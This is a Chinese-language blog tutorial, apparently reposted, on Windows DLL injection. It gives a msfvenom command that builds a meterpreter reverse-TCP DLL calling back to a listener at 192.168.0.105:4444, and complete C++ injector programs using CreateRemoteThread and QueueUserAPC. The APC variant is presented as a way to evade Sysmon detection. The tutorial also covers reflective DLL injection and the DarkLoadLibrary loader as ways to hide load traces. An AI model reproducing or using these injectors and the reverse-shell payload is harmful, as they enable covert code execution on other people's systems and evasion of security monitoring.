天天看點

DLL注入DLL注入原理

大家好,又見面了,我是你們的朋友全棧君。

DLL注入

  • DLL注入原理
    • dll注入實作過程
      • 生成DLL
      • 手寫dll注入器:
      • APC實作DLL注入
    • 反射型dll注入
    • DarkLoadLibrary

DLL注入原理

在Windows作業系統中,運作的每一個程序都生活在自己的程式空間中(保護模式),每一個程序都認為自己擁有整個機器的控制權,每個程序都認為自己擁有計算機的整個記憶體空間,這些假象都是作業系統創造的(作業系統控制CPU使得CPU啟用保護模式)。理論上而言,運作在作業系統上的每一個程序之間都是互不幹擾的,即每個程序都會擁有獨立的位址空間。比如說程序B修改了位址為0x4000000的資料,那麼程序C的位址為0x4000000處的資料并未随着B的修改而發生改變,并且程序C可能并不擁有位址為0x4000000的記憶體(作業系統可能沒有為程序C映射這塊記憶體)。是以,如果某程序有一個缺陷覆寫了随機位址處的記憶體(這可能導緻程式運作出現問題),那麼這個缺陷并不會影響到其他程序所使用的記憶體。

也正是由于程序的位址空間是獨立的(保護模式),是以我們很難編寫能夠與其它程序通信或控制其它程序的應用程式。

所謂的dll注入即是讓程式A強行加載程式B給定的a.dll,并執行程式B給定的a.dll裡面的代碼。注意,程式B所給定的a.dll原先并不會被程式A主動加載,但是當程式B通過某種手段讓程式A“加載”a.dll後,程式A将會執行a.dll裡的代碼,此時,a.dll就進入了程式A的位址空間,而a.dll子產品的程式邏輯由程式B的開發者設計,是以程式B的開發者可以對程式A為所欲為。因為執行指令需要借用某些合法程序,是以一般的程序注入都要繞過AV檢測。

dll注入實作過程

1.附加到目标/遠端程序

   2.在目标/遠端程序内配置設定記憶體

   3.将DLL檔案路徑,或者DLL檔案,複制到目标/遠端程序的記憶體空間

   4.控制程序運作DLL檔案           

複制

生成DLL

使用msf生成一個dll:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll                

複制

手寫dll注入器:

#include<Windows.h> 
#include<stdio.h>
using namespace std;

int main(int argc,char * argv[]) {
  HANDLE ProcessHandle;
  LPVOID remotebuffer;
  BOOL write;

  wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll");

  if (argc < 2) {
    printf("Useage inject.exe Pid;\n");
    printf("such as inject.exe 258\n");
    exit(0);
  }

  printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
  ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 	FALSE, DWORD(atoi(argv[1])));
  if (ProcessHandle == NULL) {
    printf("OpenProcess Fail !!!");
    exit(0);
  }
  else
  {
    printf("OpenProcess %i successful !!!\n",atoi(argv[1]));
 }

 remotebuffer = VirtualAllocEx(ProcessHandle, NULL, 	sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
  write = WriteProcessMemory(ProcessHandle, 	remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);

  if (write == 0) {
    printf("WriteProcessMemory Fail %i!!!",GetLastError());
    exit(0);
  }
  else
  {
printf("WriteProcessMemory  successful !!!\n");
  }

  PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
  CloseHandle(ProcessHandle);
  
  return 0;
}           

複制

在程序監控中,也可以清楚的看到程序被注入了dll。

DLL注入DLL注入原理

在上面的注入方式中,我們使用了CreateRemoteThread來進行dll注入,而這個方式在具有Sysmon的系統中會留下Event ID 8的痕迹。而我們使用通過APC實作Dll注入則可以繞過這種監控。

APC實作DLL注入

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, 	vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
    do {
        if (_wcsicmp(pe.szExeFile, exeName) == 0) {
            pid = pe.th32ProcessID;
            THREADENTRY32 te = { sizeof(te) };
            if (::Thread32First(hSnapshot, &te)) {
                do {
                    if (te.th32OwnerProcessID == pid) {
                        tids.push_back(te.th32ThreadID);
                    }
                } while (::Thread32Next(hSnapshot, &te));
            }
            break;
        }
    } while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}

void main()
{
  DWORD pid;
  vector<DWORD> tids;
  if (FindProcess(L"calc.exe", pid, tids)) 
  {
printf("OpenProcess\n");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocEx\n");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:\\test\\testdll.dll";
printf("WriteProcessMemory\n");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids) 
{
  printf("OpenThread\n");
  HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
  if (hThread) 
  {
    printf("GetProcAddress\n");
    ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);  
  }
}
printf("VirtualFreeEx\n");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  }
}           

複制

反射型dll注入

反射DLL注入可以将加密的DLL儲存在磁盤(或者以其他形式如shellcode等),之後将其解密放在記憶體中。之後跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL寫入目标程序。因為沒有使用LoadLibrary函數,要想實作DLL的加載運作,我們需要在DLL中添加一個導出函數,ReflectiveLoader,這個函數實作的功能就是加載自身。

反射DLL注入實作起來其實十分複雜,需要對PE加載十分了解。通過編寫ReflectiveLoader找到DLL檔案在記憶體中的位址,配置設定裝載DLL的空間,并計算 DLL 中用于執行反射加載的導出的記憶體偏移量,然後通過偏移位址作為入口調用 CreateRemoteThread函數執行。

msf已經有了相應的子產品:

windows/manage/reflective_dll_inject                

複制

在記憶體中,可以看到明顯的PE辨別:

DLL注入DLL注入原理

将其dump後

DLL注入DLL注入原理

放入PE檢視工具,可看到其為正常的PE檔案與RDI特有的名字:

DLL注入DLL注入原理

此類檔案可配合sRdi使用,效果更佳。

DarkLoadLibrary

DarkLoadLibrary由batsec提出的項目,文章位址:

DarkLoadLibrary文章描述

項目位址:項目位址

圖示展示了其特點:

DLL注入DLL注入原理

其支援磁盤加載、記憶體加載。

磁盤加載:

DLL注入DLL注入原理

記憶體加載:

DLL注入DLL注入原理

其DarkLoadLibraryDebugging為自定義的名稱,與NO_LINK,則看不到明顯的dll加載痕迹

DLL注入DLL注入原理

缺點是僅支援目前程序不支援遠端程序,但不得不說,其優越性的确可以是目前程序加載dll的不二之選。

釋出者:全棧程式員棧長,轉載請注明出處:https://javaforall.cn/145208.html原文連結:https://javaforall.cn